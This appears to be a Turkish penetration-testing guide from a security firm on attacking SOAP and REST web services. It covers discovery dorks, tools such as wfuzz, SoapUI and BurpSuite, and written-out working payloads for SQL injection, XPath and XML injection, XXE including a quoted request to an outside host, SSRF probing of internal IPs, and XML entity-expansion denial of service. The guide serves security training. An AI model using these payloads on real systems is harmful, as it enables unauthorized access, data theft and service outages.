  • 1. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Web Servislerine Yönelik Sızma Testleri Fırat Celal ERDİK & Mert TAŞÇI celal.erdik@bga.com.tr & mert.tasci@bga.com.tr
  • 2. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity İçindekiler Web Servislerine Yönelik Sızma Testleri İçindekiler Web Servislerine Yönelik Sızma Testleri 1 - Web Servisi Nedir ve Ne İçin Kullanılır? 2 - BGA Olarak Gözlemlediklerimiz 3 - Web Servis Keşfi 4 - Web Servislerine Yönelik Sızma Testlerinde Kullanılan Araçlar 5 - Web Servislerine Yönelik Sızma Testlerinde Karşılaşılan Zafiyetler 5.1 - Web Servislerde Injection Zafiyetleri 5.1.1 - SQL Injection Zafiyetleri 5.1.2 - XPath Injection Zafiyetleri 5.1.3 - XML Injection Zafiyetleri 5.1.4 - XXE Atağı 5.2 - Web Servislerinde Kontrol Zafiyetleri 5.2.1 - Yetkisiz Erişim Zafiyetleri 5.2.2 - Fonksiyonların Limitsiz Kullanımı 5.3 - Web Servislerde İş Mantığı Zafiyetleri 5.4 - Web Servislerinde Oturum Çalma Zafiyetleri 5.5 - Web Servislerinde SSRF Zafiyetleri 5.6 - Web Servislerinde DoS(Servis Dışı Bırakma) Zafiyetleri
  • 3. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Web Servislerine Yönelik Sızma Testleri 1 - Web Servisi Nedir ve Ne İçin Kullanılır? Web servis; masaüstü, web, mobil vb. herhangi bir yazılım tarafından kullanılması amaçlanan, http protokolü üzerinden erişilen bir servistir. İstemci tarafından web servise yapılan istekler sonucu, web servis uygun bir formatta(json, xml vb.) cevabı dönecektir ve istemci dönen bu cevabı alarak dilediği şekilde son kullanıcıya sunacaktır. İlk olarak, web servis denildiğinde akla gelen bazı kavramlara değinilecektir. SOAP web servis, XML formatında sunucu ile haberleşmemizi sağlamaktadır. REST web servis, genellikle JSON formatında fakat XML formatında da haberleşmeyi sağlayabilmektedir. GET, POST, PUT, DELETE gibi HTTP methodlarını kullanır. WSDL, SOAP web servisleri için gerekli tanımlamaları yapan bir dildir ve SOAP web servisler için kullanılması zorunludur. Fonksiyonlar, veri tipleri, fonksiyon açıklamaları gibi tanımlamaları kullanıcıya sunmaktadır.(Nadiren de olsa REST web servisler için de kullandığı görülmüştür.) WADL, tıpkı WSDL gibi web servis tanımlamalarının yapıldığı bir dildir. Genel olarak REST web servisler için kullanılmaktadır.
  • 4. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 2 - BGA Olarak Gözlemlediklerimiz BGA olarak gerçekleştirdiğimiz sızma testlerinde özellikle kurumların dışarıya açık kapıları olan web uygulamalarını, dış IP bloklarını ve web servislerini detaylı bir şekilde test ediyoruz. Yaptığımız sızma testlerinde, web servis kullanımının giderek arttığını, fakat web servis geliştirilirken güvenliğin yeterince önemsenmediği gözlemliyoruz. Bu nedenle, web servislerinde sık sık kritik güvenlik açıklıkları ile karşılaşıyoruz. Bu yazıda kullanılan web servislerin tespit edilmesiyle birlikte sık karşılaşılan teknik ve mantıksal açıklıklara değinilecektir.
  • 5. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 3 - Web Servis Keşfi • Uygulamaların kullandıkları web servisler, • Bir proxy yazılımı ile araya girilerek, elde edilen tarafiğin incelenmesiyle • Arama motorları aracılığıyla uygulama üzerinde tespit edilecek farklı açıklıkların (directory listing, lfi vs.) suistimal edilmesiyle • crawling, swf/jar benzeri dosyaların decompile edilmesiyle • fuzzing testleri aracılığıyla • belirlenebilmektedir. Aşağıda bir .swf dosyasının, swf intruder aracıyla decompile edilerek, tespit edilen bir web servis WSDL adresi görülmektedir. Proxy yazılımları, uygulamaların kullandığı web servislerinin tespiti için kullanılabilmektedir. Aşağıda BurpSuite kullanılarak capture edilen trafik üzerinde basit bir filtre ile web servis adresleri belirlenmesi gösterilmiştir. “.dll?wsdl”, “.ashx?wsdl”, “.exe?wsdl” veya “.php?wsdl” vb. ifadeler aratılarak da web servisler tespit edilebilir.
  • 6. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Web servislerin tespit edilebileceği bir başka yol ise arama motorları kullanımıdır. Google üzerinde web servisleri bulabileceğimiz bir payload aşağıda verilmiştir. Search string: filetype:asmx inurl:(_vti_bin | api | webservice | ws )
  • 7. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Search string: allinurl:dll?wsdl filetype:dll Bing arama motoru üzerinden de aşağıdaki gibi bir payload ile web servisler tespit edilebilir; Search string: asmx?wsdl site:us
  • 8. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Aşağıdaki örenekte Wfuzz aracıyla web servislerinin tespit edilmesi için gerekli komut verilmiştir. wfuzz -p 127.0.0.1:8080 -c --hc 404,XXX -z list,ws-webservice-webservisler -z file,../general/common.txt -z file,ws-files.txt http://webservices.example.com/FUZZ/FUZ2ZFUZ3Z -p parametresi birden fazla proxy kullanarak, yükü dengelemek (loadbalance) için de kullanılabilir. Son kullanılan proxy adresi tor networküne dahil edilmesidir. -p IP:port-IP:port-IP:8088
  • 9. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Burada “http response code” değerleri ile response boyutlarına bakılarak doğru servis adresi bulunabilir. Yukarıdaki ekran görüntüsünden tespit edilen web servisine ait ekran görüntüsü aşağıda verilmiştir: “wsdl” adresleri bazen “?wsdl” şeklinde değil “.wsdl” şeklinde olabilmektedir. Arama yaplılırken bunun göz önünde bulundurulması ve bu şekilde de arama yapılması önerilmektedir. Aşağıda “.wsdl” içeren bir örnek verilmiştir: Search String: filetype:wsdl
  • 10. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 4 - Web Servislerine Yönelik Sızma Testlerinde Kullanılan Araçlar Web servislerinin kullandığı metotlara ait parametreler manipüle edilerek çeşitli teknik ve mantıksal açıklıklar bulunabilir. Testlerde sıklıkla karşılaşılabilecek web servis çeşitleri ve bu servisler üzerinde testler gerçekleştirilirken kullanılabilecek araçlar aşağıda verilmiştir. Owasp Zed Attack Proxy için SOAP Scanner eklentisi indirilerek SOAP web servis testleri yapılabilir. URL veya bir WSDL adresi gösterilerek ilgili metotların yüklenmesi sağlanabilir.
  • 11. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Aşağıdaki ekran görüntüsünde görüleceği üzere ilgili web servis üzerindeki tüm metotlar listelenmiştir. Örnek bir request:
  • 12. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Örnek bir response: Bir diğer örnek olarak, RESTful Web servis testleri için Firefox RESTClient eklentisi kullanılabilir. RESTClient eklentisi yardımıyla POST ve GET metodları kullanılarak hedef sisteme sorgular yapılabilmektedir. Ayrıca basic auth, custom header vb. ilave özellikleri de mevcuttur.
  • 13. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Web servis testleri için kullanılabilecek araçlarların listesi aşağıdaki gibidir: Ø WebScarap Ø SoapUI Ø WCFStorm Ø SOA Cleaner Ø WSDigger Ø wsScanner Ø Wfuzz Ø RESTClient Ø BurpSuite Ø WS-Attacker Ø ZAP Ø Metasploit Ø WSDL Analyzer Bu araçlar içerisinde SoapUI ve BurpSuite araçlarının birlikte kullanılması web servis testlerinde oldukça başarılı sonuçlar vermektedir. SoapUI aracının proxy kullanımına elverişli olması, BurpSuite proxy yazılımının da web servis testlerini de destekliyor olması testlerde bu ikilinin tercih sebebi edilmesine sebep olmaktadır. Şimdi bir örnek üzerinde, web servisini SoapUI ile açarak yaptığımız istekleri BurpSuite’e nasıl düşüreceğimizi görelim. SoapUI yazılımını açılarak yeni bir web SOAP projesi başlatılır. “Initial WSDL” bölümüne hedef WSDL adresi yazılır. (Bu örnek için http://zero.webappsecurity.com/web- services/infoService?wsdl adresinde bulunan ve vulnerable bir sistem olan bir web servis kullanılacaktır.)
  • 14. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Aşağıdaki resimde görüldüğü üzere web servis başarılı bir şekilde içeri aktarılabilmiştir. SoapUI verilen WSDL adresini çözümleyerek web servise ait fonksiyonları ve istekleri oluşturmuştur.
  • 15. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity “File -> Preferences” yolunu takip ederek “Proxy Settings” bölümüne ve BurpSuite ile açtılan arayüze(interface) ait bilgileri(ip:port) girilir. Daha sonrasında herhangi bir fonksiyon kullanıldığında BurpSuite’in başarılı bir şekilde araya girerek isteği yakaladığı görülmektedir.
  • 16. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5 - Web Servislerine Yönelik Sızma Testlerinde Karşılaşılan Zafiyetler Bu bölümde web servis testlerinde karşılaşılan zafiyetlere değinilecektir. Web servis testleri yaparken bilinen ve meydana gelebilecek tüm web uygulama zafiyetlerinin testleri yapılmalıdır. Örneğin; bir web uygulamasında keşfedilen “Kullanıcı Hesaplarının Tahmin Edilebilmesi(User Enumeration)” veya “Yerel Dizin İfşası(Full Path Disclosure)” bulgularına bir web servis içerisinde de rastlanılabilmektedir.
  • 17. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.1 - Web Servislerde Injection Zafiyetleri 5.1.1 - SQL Injection Zafiyetleri Web servislerine yönelik sızma testlerinde karşılaşılan SQL Injection(SQLi) zafiyetlerinin normal web testlerinde karşılaşılandan bir farkı yoktur. Web servislerine ait tüm fonksiyonların tüm parametreleri detaylı bir şekilde incelenerek, SQLi zafiyetinden etkilenip etkilenmediği kontrol edilmelidir. SQLi zafiyeti için http://www.thomas-bayer.com/sqlrest/ adresinde bulunan ve vulnearable bir sistem olan RESTful web servisi örnek olarak kullanılacaktır. SQLi zafiyetinin tespiti için Firefox üzerindeki RESTClient eklentisi kullanılcaktır. http://www.thomas-bayer.com/sqlrest/CUSTOMER/$id adresinde id parametresi yerine bazı SQLi payloadları gönderilecek ve dönen cevaplar yorumlanacaktır. $id yerine herhangi bir numerik değer yazıldığında (1,2,3 vb.) veritabanından bir kullanıcı bilgisinin geldiği görülmektedir. Örneğin 23 değeri gönderildiğinde aşağıdaki cevabın geldiği görülmüştür.
  • 18. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 23 yerine aşağıdaki payload yazılarak istek yapılmış ve aşağıdaki gibi bir cevabın döndüğü görülmüştür. Payload: 23 AND 1=1 http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=1/ Herhangi bir hata sayfası ile karşılaşılmamış ve SQL tarafındaki mantıksal işlemin gerçekleştirilmiş olduğu görülmektedir. Payload olarak aşağıdaki payload kullanıldığında ise hata sayfası ile karşılaşılmaktadır. Payload: 23 AND 1=0 http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=0
  • 19. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity SQL sorgusu koşulunu sağlamayan bir payload gönderildiğin de 404 cevabını verdiği fakat sağlayan bir payload gönderildiğinde ise başarılı bir şekilde cevabı getirdiği görülmüştür. Son olarak aşağıdaki payload gönderilmiş ve sistem üzerindeki tüm kullanıcı isimleri, dönen cevap içerisinde görüntülenmiştir. Payload: 23 OR 1=1 http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20OR%201=1 Bu şekilde manuel olarak SQLi tespiti için hedef sisteme ilk olarak aşağıdaki gibi basit payloadlar gönderilerek gelen yanıtlar incelenip, ilgili fonksiyonun SQLi zafiyetini barındırıp barındırmadığı kanaatine varılabilir.
  • 20. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.1.2 - XPath Injection Zafiyetleri XPath, sunucu tarafında XML formatında saklanan veriler üzerinde sorgulama işlemi yapılmasını sağlayan dildir. string(//user[username/text()='bga' and password/text()='bga']/account/text()) Örneğin, yukarıdaki resimde bir XPath sorgusu verilmiştir. Bu sorguda kullanılan girdi alanına 1’ and ‘1’=’1 ve 1’ and ‘1’=’2 payloadı gönderilerek yorumlandığında, mantıksal işlemin sağlandığı durumda “TRUE” yanıtının döndüğü fakat sağlanmadığı durumda “FALSE” yanıtının döndüğü görülecektir. Örnek olarak, https://github.com/snoopythesecuritydog/dvws/ uygulaması üzerindeki XPATH Injection zafiyeti sömürülecektir. Geliştiricinin aşağıdaki gibi bir PHP kodunu yazdığı görülmektedir. Kod içerisinde okumuş olduğu “accountinfo.xml” dosyasının içeriği ise aşağıdaki gibidir:
  • 21. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Sayfaya “bga:1234” kimlik bilgileri ile giriş yapmaya çalıştığımızda aşağıdaki gibi bir hata ile karşılaşmaktayız.
  • 22. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Fakat kimlik bilgilerindeki kullanıcı adı ve şifre için 1' or '1' = '1 payloadı yazıldığında başarılı bir şekilde giriş yapılabildiği görülmektedir.
  • 23. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.1.3 - XML Injection Zafiyetleri XML formatında gönderilen veri içerisine XML düğümleri eklenilmesi ve sunucu tarafından gelecek olan XML cevabın manipüle edilmesi işlemidir. Input: 2 <product> <name>Computer</name> <count>2</count> <price>200$</price> </product> Örneğin, yukarıda sunucuya gönderilen girdi değerinin cevap içerisinde count düğümünde yazdığı görülmektedir. Bu girdi değeri aşağıdaki gibi değiştirildiğinde price değerinin manipüle edildiği görülmektedir. Input: 2</count><price>0$</price></product> <product> <name>Computer</name> <count>2</count><price>0$</price></product> ...
  • 24. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.1.4 - XXE Atağı Oluşturulan XML entity’nin bir XML düğüm içerisinde okunması amacıyla çağırılması durumunda bu zafiyet tetiklenmektedir. Dosya okuma işlemi gerçekleştirilirken entity’e bir adres(url) verilmektedir. XML’in sağladığı bu kolaylık kullanılarak local dosyaların okunma işlemi gerçekleştirilebilmektedir. Gönderilen XML payload örneği aşağıdaki gibidir: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo> Bir güvenlik araştırmacısının QIWI.ru’nun SOAP web servisi üzerinde keşfettiği XXE zafiyeti örnek olarak incelenecektir. (Zafiyeti detaylı olarak anlatan rapora https://hackerone.com/reports/36450 adresinden erişilebilir.) Senaryo gereği saldırgan https://send.qiwi.ru/soapserver adresine yaptığı aşağıdaki istek ile istediği bir web sayfasının kaynak kodlarını dönen cevap içerisine eklemektedir. POST /soapserver/ HTTP/1.1 Host: send.qiwi.ru Content-Type: application/x-www-form-urlencoded Content-Length: 254 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://bitquark.co.uk/?xxe">]> <SOAP-ENV:Envelope> <SOAP-ENV:Body> <getStatus> <id>&xxe;</id> </getStatus> </SOAP-ENV:Body> </SOAP-ENV:Envelope> XXE atağı ile ilgili daha fazla bilgi için aşağıdaki adres ziyaret edilebilir: http://blog.bga.com.tr/2014/02/xxe-xml-external-entity-guvenlik.html
  • 25. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.2 - Web Servislerinde Kontrol Zafiyetleri 5.2.1 - Yetkisiz Erişim Zafiyetleri Yapılan sızma testlerinden elde edilen istatiklere bakıldığında, yetkisiz erişim zafiyetine web servislerinde çok daha fazla rastlanıldığını görülmüştür. Bunun temel sebebi geliştiricinin bir saldırgan olarak düşünmemesi ve web servisin güvenli bir ortam olduğunu zannetmesidir. Bu zafiyetin önüne geçmek için, isteklerin bir token değerine bağlı olarak yapılması gerekmekte veya her istek için username ve password gibi bilgilerin sunucuya gönderilmesi gerekmektedir. Web servisin sahip olduğu tüm fonksiyonlar için kullanıcı oturumunun sağlanması gerekmektedir. 5.2.2 - Fonksiyonların Limitsiz Kullanımı Çok karşılaşılan, diğre bir zafiyet ise web servise ait fonksiyonların limitsiz olarak kullanılmasıdır. Bunlar başlıca aşağıdaki zafiyetlere sebebiyet vermektedir. Ø Kaba kuvvet saldırısı Ø Veritabanının doldurarak servis dışı bırakılması Ø Kullanıcıya sunulan hakların düşünülenden fazla kullanılması Ø Sunucuyu yormak ve DDoS saldırısı
  • 26. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.3 - Web Servislerde İş Mantığı Zafiyetleri Bu zafiyet türleri web uygulamalarının bir standarda bağlı kalmamaları ve her geliştiricinin geliştirdiği web uygulamasının farklı olmasından kaynaklanmaktadır. Bu farklılık geliştiricinin düşünce yapısına göre veya kullandığı algoritmalar sonucunda ortaya çıkmaktadır. Bu sebeple bu konu çok uzun ve sonu olmayan bir konu olmaktadır. Bir kaç örnek verilerek detaylandırılacaktır. Örnek olarak, Twitter’ın RESTful web servislerinde meydana gelen bir zafiyeti incelenecektir: (Zafiyeti detaylı olarak anlatan rapora https://hackerone.com/reports/52646 adresinden erişilebilir.) Kullanıcı Twitter içerisinde kendi oluşturduğu bir direk mesajı(DM) silmektedir. DM’lerini görüntülediğinde böyle bir mesajın artık olmadığını görmektedir. Fakat https://dev.twitter.com/rest/tools/console adresinde bulunan konsol üzerinden REST servise ait DM okuma fonksiyonuna, silinen DM’nin id değeri ile çağrı yapıldığında DM’nin silindiği halde okunabildiğini görülmektedir. Web servislerinde(mobil/tablet uygulamalar tarafından kullanılan) zaman zaman karşılaşılan bir diğer zafiyet ise şifrenin sunucuya yapılan bazı istekler sonucu dönen cevap içerisinde bulunmasıdır. Geliştiricilerin bunu yapmasındaki temel amaç; şifreyi cihaz içerisinde depolayarak her seferinde kullanıcıyı yormamak adına yerel veritabanı içerisinden yapılan sorgulama ile uygulamaya giriş yapmaktır.
  • 27. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity BGA ekibi olarak bir mobil/tablet uygulamasına yaptığımız sızma testi esnasında, şifre sıfırlama fonksiyonunun, cevap olarak yeni şifreyi istemci tarafına döndürdüğü ve bu şifreyi yeni şifre olarak cihaz içerisine kaydettiği görülmüştür. Türkiyenin önde gelen e-ticaret sitelerinden birine yaptığımız bir başka testte ise; mobil/tablet uygulamanın kullandığı web servis wsdl’i tespit edilmiş ve içerisinde kullanıcı bilgilerini getiren bir fonksiyona rastlanılmıştır. Fonksiyonun istemci tarafından yalnızca e-mail adresi alarak istenilen kullanıcının bilgilerini getirdiği görülmüştür. Daha da kritik olan bir durum ise, bu fonksiyonun yapılan isteğe döndüğü cevap içerisinde, web site içerisindeki kullanıcı parolasının da olmasıdır. Böyle bir zafiyet ile mail adresi bilinen herhangi bir kullanıcının hesabı ele geçirilebilmektedir. Web servise ait fonksiyonlara dönülen cevaplar içerisinde bu gibi kritik verilerin taşınmaması gerekmektedir. Saldırganlar web sitesi üzerinden yaptığı saldırılardan sonuç alamasa da, bu gibi mobil/tablet uygulamalarına ait, keşfetmiş oldukları web servisler üzerinde bulunan zafiyetler yardımıyla sisteme zarar verebilmektedirler.
  • 28. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.4 - Web Servislerinde Oturum Çalma Zafiyetleri Bu zafiyetler aynı ağ içerisinde bulunan kullanıcıların MITM saldırıları gerçekleştirerek ağı koklamaları sonucunda, kullanıcıların oturumlarını sağlayan değerleri ele geçirmesi sonucu ortaya çıkmaktadır. Güvensiz bir protokol -HTTP- üzerinden yayınlanan web servisler bu zafiyete sebep olmaktadır. Web servis her kullanıcının oturumunu sağlayacak bir SID(Session ID) değeri kullanarak bu zafiyetin önüne geçebilir. Diğer bir çözüm de kullanıcının giriş yapmasını sağlayacak olan bilgilerin tüm isteklerin içinde sunucuya aktarılması olabilir. Web servis her kullanıcının oturumunu sağlayacak bir SID(Session ID) değeri kullanabilir veya kullanıcının giriş yapmasını sağlayacak olan bilgilerin tüm istekler içerisinde sunucuya aktarılması ile oturum sağlıyor olabilir. SSL desteği olmayan bu web servisi kullanıcılarının, oturumlarının sağlandığı SID değerinin çalınması durumunda ağ içerisindeki herhangi birinin saldırısına maruz kalabilir.
  • 29. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.5 - Web Servislerinde SSRF Zafiyetleri SSRF(Server-Side Request Forgery) zafiyeti, saldırganın sunucu tarafına manipüle edilmiş - sahte- istekler oluşturması ve dışarıdan yapılamayacak işlemleri dolaylı yoldan sunucuya yaptırmasıdır. Örneğin, port taramasına kapalı bir sunucunun portları, sunucu üzerinde bulunan SSRF zafiyeti ile taranabilmektedir. Localdeki bir dosyanın okunmasını da imkan verebilmektedir. Bunlardan başka SSRF zafiyeti bulunan sunucu üzerinden başka bir sunucuya DDoS atağı yapılmasını, DNS sorgusu gönderilmesini de sağlayabilmektedir. Örnek olarak https://github.com/snoopythesecuritydog/dvws/ uygulaması üzerinde bulunan XXE zafiyetini sömürerek bazı yerel IP adreslerine istek yapacağız ve dönen cevabı analiz edilecektir. Sayfa içerisindeki “Print Greeting” butonuna tıklanıldığında sunucu tarafından bir mesaj döndüğü görülmektedir.
  • 30. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Yapılan istek BurpSuite ile yakalandığında ve bir XML datanın gönderildiği görülmüştür. Gönderilen XML veri bir XXE payloadı ile değiştirilerek ağ içerisindeki bir makinenin varolup olmadığına bakılabilmektedir. Yerel ağ içerisinde alınmamış bir IP olan 192.168.1.10 adresini içeren bir payload hazırlanarak, SSRF zafiyetini bulunduran sunucuya gönderilmiştir. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://192.168.1.10" >]><foo>&xxe;</foo>
  • 31. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Sunucu böyle bir IP adresine erişemediği için aşağıdaki hata mesajını döndürmektedir. Fakat yerel ağ içerisinde varolan 192.168.1.2 IP adresine bir istek yapıldığında herhangi bir hata sayfasının gelmediği ve bu IP’nin erişilebilir bir IP olduğu görülmektedir. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://192.168.1.2" >]><foo>&xxe;</foo>
  • 32. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity 5.6 - Web Servislerinde DoS(Servis Dışı Bırakma) Zafiyetleri İstemci tarafından gönderilen XML veriler sunucu tarafında bir XML parser yardımıyla çözümlenir ve işlenir. İki tip XML çözümleyici(parser) bulunmaktadır. Bunlar SAX tabanlı ve DOM tabanlı XML çözümleyicilerdir. SAX tabanlı çözümleyiciler, çözümleme işlemi esnasında yapıları gereği bellekte maksimum 2 elementi tutmaktadırlar. Bu durumda servis dışı bırakma zafiyeti SAX tabanlı çözümleyiciler için söz konusu olmamaktadır. DOM tabanlı çözümleyiciler, istemci tarafından gelmiş olan tüm XML veriyi belleğe alır. Bu sebeple bellek içerisinde çok büyük nesneler oluşmasına sebep olabilirler. Bu durumda, servis dışı bırakma saldırıları bu çözümleyici için kaçınılmaz olmaktadır. XML’e ait düğüm, attribute gibi değerlerin boyut ve adetlerinin kontrol edilmemesi durumu bunu tetiklemektedir. Buna örnek olarak element adı üzerinden uygulanan saldırı aşağıdaki gibi olacaktır. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <TEST> <BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA… ……BGABGABGABGABGABGABGABGABGABGA> </TEST> </soapenv:Body> </soapenv:Envelope> Attribute üzerinden uygulanan saldırı aşağıdaki gibi olacaktır. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <TEST> <BGA attribute=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA… ……BGABGABGABGABGABGABGABGABGABGA”></BGA> </TEST> </soapenv:Body> </soapenv:Envelope>
  • 33. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Attribute sayısı üzerinden uygulanan saldırı aşağıdaki gibi olacaktır. (Aynı şekilde belli bir elementin tekrar edilmesi durumu da olabilmektedir.) <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <TEST> <BGA attribute1=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BG ABGABGABGABGABGABGABGABGABGA” attribute2=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BG ABGABGABGABGABGABGABGABGABGA” attribute3=”BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BG ABGABGABGABGABGABGABGABGABGA”></BGA> </TEST> </soapenv:Body> </soapenv:Envelope> Bir başka servis dışı bırakma zafiyeti ise XXE saldırılarının başarılı olduğu durumlarda yapılabilmektedir.
  • 34. [Web Servislerine Yönelik Sızma Testleri] BGA Bilgi Güvenliği A.Ş. | www.bga.com.tr | @bgasecurity Entity kullanarak DDoS saldırısı yapan saldırgan aşağıdaki gibi bir payloadı kullanacaktır. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE bga [ <!ELEMENT ANY > <!ENTITY bga1 "bga1"> <!ENTITY bga2 "&bga1;&bga1;&bga1;&bga1;&bga1;&bga1;"> <!ENTITY bga3 "&bga2;&bga2;&bga2;&bga2;&bga2;&bga2;"> <!ENTITY bga4 "&bga3;&bga3;&bga3;&bga3;&bga3;&bga3;"> <!ENTITY bga5 "&bga4;&bga4;&bga4;&bga4;&bga4;&bga4;"> <!ENTITY bga6 "&bga5;&bga5;&bga5;&bga5;&bga5;&bga5;"> ]> <bga>&bga6;</bga> Saldırgan bazı entityler tanımlamış ve en son durumda bga6’ı çağırmıştır. Çağırılan bga6 varlığı içerisinde bga5 varlığını 6 defa çağırmıştır. Aynı şekilde her bir bga5 varlığında bga4 varlığını 6 defa çağırmıştır. Bu varlık ve çağırım adetleri daha da artırılarak bir payload gönderildiğinde XML parser üzerine düşen yük çok fazla olacak ve sunucu bir zamandan sonra cevap veremeyerek servis dışı bırakma saldırısına maruz kalacaktır.